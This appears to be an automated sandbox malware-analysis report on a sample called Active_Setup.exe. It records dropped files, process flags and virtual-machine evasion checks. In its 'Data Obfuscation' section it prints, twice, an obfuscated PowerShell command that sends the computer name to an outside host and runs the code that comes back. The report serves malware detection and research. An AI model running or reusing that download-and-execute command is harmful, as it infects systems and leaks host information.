Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\Desktop\Active_Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Active_Setup.exe

Static file information: File size 1133619 > 1048576

Source: Active_Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2110626927.00000000073F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2110807205.000000000741A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000032.00000002.2655454017.0000000003692000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2675751558.0000000038C60000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000032.00000002.2655454017.0000000003692000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2675751558.0000000038C60000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000011.00000002.2110626927.00000000073EA000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;			Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: OS47CTVTQTDUZX7YVJLO9.tmp.21.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: OS47CTVTQTDUZX7YVJLO9.exe.12.dr	Static PE information: real checksum: 0x9307ce should be: 0x8615ed
Source: Active_Setup.exe	Static PE information: real checksum: 0x1128ac should be: 0x122f8c
Source: OS47CTVTQTDUZX7YVJLO9.tmp.19.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29

Source: OS47CTVTQTDUZX7YVJLO9.exe.12.dr	Static PE information: section name: .didata
Source: OS47CTVTQTDUZX7YVJLO9.tmp.19.dr	Static PE information: section name: .didata
Source: OS47CTVTQTDUZX7YVJLO9.tmp.21.dr	Static PE information: section name: .didata

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00FD2D63 push esp; iretd

17_2_00FD2D69

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	File created: C:\Users\user\AppData\Local\Temp\is-A0MP0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	File created: C:\Users\user\AppData\Local\Temp\is-IDM6D.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	File created: C:\Users\user\AppData\Local\Temp\is-A0MP0.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\is-NQ5E5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	File created: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File created: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	File created: C:\Users\user\AppData\Local\Temp\is-IDM6D.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	File created: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

API/Special instruction interceptor: Address: 6BB47C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB4F3E1 second address: 6BB4F3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
